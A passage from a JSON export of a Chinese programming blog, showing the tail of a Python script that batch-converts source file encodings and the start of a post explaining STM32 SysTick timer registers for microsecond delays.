punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'rb'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 直接设置GB18030编码节省时间\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e'GB18030'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"\u0026#123;0:50\u0026#125;\u0026#123;1\u0026#125;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eformat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efileName\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e source_encoding\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e \u003cspan class=\"token boolean\"\u003eNone\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e out_enc\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e content \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e content\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003edecode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003esource_encoding\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eencode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout_enc\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e codecs\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'wb'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003econtent\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e gErrArray\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"can not recgonize file encoding %s\"\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e filePath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e err\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e gErrArray\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"%s:%s\"\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e err\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003eshow_files\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token triple-quoted-string string\"\u003e\"\"\" 遍历当前目录所有py文件及文件夹 :param path: :param all_files: :return: \"\"\"\u003c/span\u003e file_list \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003elistdir\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 准备循环判断每个元素是否是文件夹还是文件,是文件的话,把名称传入list,是文件夹的话,递归\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e file_list\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 利用os.path.join()方法取得路径全名,并存入cur_path变量,否则每次只能遍历一层目录\u003c/span\u003e cur_path \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ejoin\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 判断是否是文件夹\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eisdir\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e show_files\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003esplitext\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.h'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.c'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.cpp'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.hpp'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.bat'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.java'\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e'.txt'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e convert\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e cur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token comment\"\u003e#explore(os.getcwd())\u003c/span\u003e filePath \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003einput\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"请输入要转换编码的文件夹路径: \\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"\\r\\n===============================================================\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"\u0026#123;0:50\u0026#125;\u0026#123;1\u0026#125;\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eformat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'fileName'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'fileEncoding'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"===============================================================\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e show_files\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'\\r\\n---------错误统计------------'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e index\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e item \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eenumerate\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eitem\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'\\r\\n共%d个错误!'\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egErrArray\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u003e\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"请检查错误文件手动修改编码\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'\\r\\n-----------------------------'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"__main__\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e main\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e","url":"https://blog.ksfu.top/posts/2d8a/"},{"title":"STM32使用SysTick定时器延时","time":"2022-07-27T18:42:15Z","content":"\u003ch1 id=\"STM32使用SysTick定时器延时\"\u003e\u003ca href=\"#STM32使用SysTick定时器延时\" class=\"headerlink\" title=\"STM32使用SysTick定时器延时\"\u003e\u003c/a\u003eSTM32使用SysTick定时器延时\u003c/h1\u003e\u003cp\u003e最近\u003chr /\u003e\u003ch1 id=\"STM32使用SysTick定时器延时\"\u003e\u003ca href=\"#STM32使用SysTick定时器延时\" class=\"headerlink\" title=\"STM32使用SysTick定时器延时\"\u003e\u003c/a\u003eSTM32使用SysTick定时器延时\u003c/h1\u003e\u003cp\u003e最近在学习Stm32 HAL库相关教程\u003cdel\u003e(之前都是xjb缝合,缺少点原理的理解\u003c/del\u003e,在看到TM1640(一个可以方便在数码管上显示内容的模块)驱动编写的过程需要用到us 级别的延时,而HAL 库的 \u003ccode\u003eHal_Dealy()\u003c/code\u003e 的函数是ms 级别的,所以需要自己手动编写一个更精准的延时函数。看教程里几行不知所云,在搜索过程中大概了解到了几种写发,但是感觉比较优雅的是使用 \u003cstrong\u003eSysTick定时器\u003c/strong\u003e 进行延时。但是几篇教程在原理处比较简略,所以根据个人理解学习了一下。\u003c/p\u003e\u003ch2 id=\"参考目录\"\u003e\u003ca href=\"#参考目录\" class=\"headerlink\" title=\"参考目录\"\u003e\u003c/a\u003e参考目录\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e《ARM Cortex-M3 权威指南》第3版\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/Fireflycjd/p/14304902.html\"\u003eSTM32延时函数的四种方法 - Fireflycjd - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/xuqu607/p/13737040.html\"\u003eSTM32的SysTick延时方法 - 代码争霸 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Leisure_ksj/article/details/105273110\"\u003eSTM32学习心得九:Systick滴答定时器和延时函数解读_天亮继续睡的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/haha690/article/details/111053367\"\u003estm32的systick(滴答定时器)实现精准延时_haha690的博客-CSDN博客_stm32精准定时\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://weibo01.blog.csdn.net/article/details/81136564\"\u003eSTM32延时函数的四种方法:普通延时(2种)、SysTick 定时器延时(2种)_魏波-的博客-CSDN博客_delayms延时函数用法\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://waka-can.blog.csdn.net/article/details/106527001?spm=1001.2014.3001.5506\"\u003e关于STM32单片机延时微妙(delay_us)函数-hal库_好奇龙猫的博客-CSDN博客_delay_us\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Firefly_cjd/article/details/106709259?spm=1001.2014.3001.5506\"\u003eSTM32延时函数的四种方法_strongercjd的博客-CSDN博客_stm32延时函数\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://shequ.stmicroelectronics.cn/forum.php?mod=viewthread\u0026tid=628767\"\u003eSTM32高精度延时实验 (stmicroelectronics.cn)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"几种延时方法\"\u003e\u003ca href=\"#几种延时方法\" class=\"headerlink\" title=\"几种延时方法\"\u003e\u003c/a\u003e几种延时方法\u003c/h2\u003e\u003cp\u003e第一种比较粗暴,就是让单片机做一些无关紧要的工作来打发时间,比如写点循环;\u003c/p\u003e\u003cp\u003e第二种是用汇编指令,和第一种大同小异;\u003c/p\u003e\u003cp\u003e第三种是使用SysTick滴答定时器,但是是采取 \u003cstrong\u003e中断\u003c/strong\u003e 的方式;\u003c/p\u003e\u003cp\u003e第四种是使用SysTick滴答定时器,但是是采取 \u003cstrong\u003e查询\u003c/strong\u003e 的方式,也就是 \u003cstrong\u003e本次使用的方法\u003c/strong\u003e ;\u003c/p\u003e\u003cp\u003e……(前三种可以在参考目录找到具体实现\u003c/p\u003e\u003ch2 id=\"SysTick-定时器\"\u003e\u003ca href=\"#SysTick-定时器\" class=\"headerlink\" title=\"SysTick 定时器\"\u003e\u003c/a\u003eSysTick 定时器\u003c/h2\u003e\u003ch3 id=\"简介\"\u003e\u003ca href=\"#简介\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e详细资料可以阅读 《ARM Cortex-M3 权威指南》第3版 9.5 SysTick 定时器。\u003c/p\u003e\u003cp\u003eSysTick 定时器是 Cortex-M 处理器内部集成的一个小型定时器,属于NVIC 的一部分,可以产生SysTick 异常。SysTick 为简单的向下计数的24位计数器,可以使用处理器时钟或者外部时钟。\u003c/p\u003e\u003cp\u003eSysTick 定时器可用作简单的定时器外设,用以产生周期性中断,延时或时间测量。\u003c/p\u003e\u003ch3 id=\"SyTick-定时器的寄存器\"\u003e\u003ca href=\"#SyTick-定时器的寄存器\" class=\"headerlink\" title=\"SyTick 定时器的寄存器\"\u003e\u003c/a\u003eSyTick 定时器的寄存器\u003c/h3\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e地址\u003c/th\u003e\u003cth\u003eCMSIS-Core 符号\u003c/th\u003e\u003cth\u003e寄存器\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0xE000E010\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 控制和状态寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E014\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 重装值寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E018\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 当前值寄存器\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0xE000E01C\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eSysTick -\u0026gt; CALIB\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eSysTick 校准值寄存器\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-控制和状态寄存器(SysTick-gt-CTRL)\"\u003e\u003ca href=\"#SysTick-控制和状态寄存器(SysTick-gt-CTRL)\" class=\"headerlink\" title=\"SysTick 控制和状态寄存器(SysTick -\u0026gt; CTRL)\"\u003e\u003c/a\u003eSysTick 控制和状态寄存器(\u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位段\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e16\u003c/td\u003e\u003ctd\u003eCOUNTFLAG\u003c/td\u003e\u003ctd\u003eRO\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e当SYSTICK 定时器计数到0时,该位变成1,读取寄存器或清除计数器当前值会被清零\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003eCLKSOURCE\u003c/td\u003e\u003ctd\u003eR\u0026#x2F;W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e0 \u0026#x3D; 外部参考时钟(STCLK);\u003cbr /\u003e1 \u0026#x3D; 使用内核时钟\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003eTOCKINT\u003c/td\u003e\u003ctd\u003eR\u0026#x2F;W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e1 \u0026#x3D; SYSTICK 定时器计数减至0时产生异常 \u003cbr /\u003e0 \u0026#x3D; 不产生异常\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eENABLE\u003c/td\u003e\u003ctd\u003eR\u0026#x2F;W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eSYSTICK 定时器使能\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-重装值寄存器(SysTick-gt-LOAD)\"\u003e\u003ca href=\"#SysTick-重装值寄存器(SysTick-gt-LOAD)\" class=\"headerlink\" title=\"SysTick 重装值寄存器(SysTick -\u0026gt; LOAD)\"\u003e\u003c/a\u003eSysTick 重装值寄存器(\u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eRELOAD\u003c/td\u003e\u003ctd\u003eR\u0026#x2F;W\u003c/td\u003e\u003ctd\u003e未定义\u003c/td\u003e\u003ctd\u003e定时器为0时的重装载值\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-当前值寄存器(SysTick-gt-VAL)\"\u003e\u003ca href=\"#SysTick-当前值寄存器(SysTick-gt-VAL)\" class=\"headerlink\" title=\"SysTick 当前值寄存器(SysTick -\u0026gt; VAL)\"\u003e\u003c/a\u003eSysTick 当前值寄存器(\u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类信\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eCURRENT\u003c/td\u003e\u003ctd\u003eR\u0026#x2F;Wc\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e读出值位SYSTICK 定时器的当前数值。写入任何值都会清除寄存器,SYSTICK 控制和状态寄存器中的 COUNTFLAG 也会清零\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-校准值寄存器(SysTick-gt-CALIB)\"\u003e\u003ca href=\"#SysTick-校准值寄存器(SysTick-gt-CALIB)\" class=\"headerlink\" title=\"SysTick 校准值寄存器(SysTick -\u0026gt; CALIB)\"\u003e\u003c/a\u003eSysTick 校准值寄存器(\u003ccode\u003eSysTick -\u0026gt; CALIB\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e31\u003c/td\u003e\u003ctd\u003eNOREF\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e-\u003c/td\u003e\u003ctd\u003e1 \u0026#x3D; 没有外部参考时钟(STCLK 不可用)\u003cbr /\u003e0 \u0026#x3D; 有外部参考时钟可供使用\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e30\u003c/td\u003e\u003ctd\u003eSKEW\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e-\u003c/td\u003e\u003ctd\u003e1\u0026#x3D; 校准值并非精准的 10ms\u003cbr /\u003e0 \u0026#x3D; 校准值准确\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eTENMS\u003c/td\u003e\u003ctd\u003eR\u0026#x2F;W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e10毫秒校准值。芯片设计者应通过 Cortex-M3 的输入信号提供该数值,若读出为0,则表示校准值不可用。\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"使用-SysTick-定时器\"\u003e\u003ca href=\"#使用-SysTick-定时器\" 